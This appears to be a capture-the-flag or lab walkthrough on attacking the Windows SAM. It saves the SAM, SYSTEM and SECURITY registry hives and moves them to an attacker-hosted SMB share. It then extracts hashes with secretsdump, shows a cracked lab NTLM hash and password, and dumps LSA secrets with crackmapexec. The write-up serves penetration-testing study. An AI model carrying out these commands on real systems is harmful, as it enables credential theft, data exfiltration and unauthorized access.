---
description: June 05, 2024
---

# Attacking SAM

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FFrsy5HLOQXoUhFv1MY6b%2Fimage.png?alt=media&#x26;token=6c806ccc-e798-406b-b8e4-10391d161a5f" alt=""><figcaption></figcaption></figure>

First we will save the sam, system, security from the hklm

```
reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FDyYFQsgkoS2lJXTWarR4%2Fimage.png?alt=media&#x26;token=88db05f1-6308-4590-8c18-d92f8aba1687" alt=""><figcaption></figcaption></figure>

Then in the attacker machine we will create a directory so that the files we are getting will be going to be transferred here.

We will specify the name of the share that we want. Any name would be good but I just named it "SamData"

```
mkdir TryShare
sudo impacket-smbserver -smb2support SamData TryShare
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fhj8aj04L2NxtAlOCCEva%2Fimage.png?alt=media&#x26;token=bd5a3fda-e8e3-439d-a256-e0ea6f445f20" alt=""><figcaption></figcaption></figure>

After that we will move the saved files that we created earlier to the attacker machine.

```
move sam.save \\10.10.15.238\SamData
move security.save \\10.10.15.238\SamData
move system.save \\10.10.15.238\SamData
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fysy6GLJbHFzYAPLn9CbS%2Fimage.png?alt=media&#x26;token=93296793-7d40-4a93-8650-0a4615eb2894" alt=""><figcaption></figcaption></figure>

We can see that the files is here&#x20;

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FhDB6CJoW4uRbgUkEaClz%2Fimage.png?alt=media&#x26;token=bb519aef-2e42-4f1b-9b63-e1c825c7c98a" alt=""><figcaption></figcaption></figure>

Then we can just extract data from the sam databases since we have the system.save file

{% code overflow="wrap" %}
```
sudo impacket-secretsdump -sam sam.save -security security.save -system system.save LOCAL
```
{% endcode %}

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fbc6oBBO4SMaJBGScxPNp%2Fimage.png?alt=media&#x26;token=6270935e-695e-46be-929e-b13a0dffe4b7" alt=""><figcaption></figcaption></figure>

We can just use some online decrypt for the password NTLM hash of user ITbackdoor since it is pretty simple

```
User - ITbackdoor

c02478537b9727d391bc80011c2e2321:matrix
```

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2Fpb7DtNPGgrNeRGVczFXR%2Fimage.png?alt=media&#x26;token=6d72349a-8169-4fc3-a536-2ab285983239" alt=""><figcaption></figcaption></figure>

Then just dump the lsa from smb

<pre><code><strong># It will dump the lsa
</strong>poetry run crackmapexec smb 10.129.202.137 --local-auth -u ITbackdoor -p matrix --lsa
</code></pre>

<figure><img src="https://3402520177-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F6s691pQpzN41rNo5Bip4%2Fuploads%2FCk20LiQZmCDYOmoNnKpy%2Fimage.png?alt=media&#x26;token=c60688d2-d019-4213-920c-64bb9ade34ff" alt=""><figcaption></figcaption></figure>
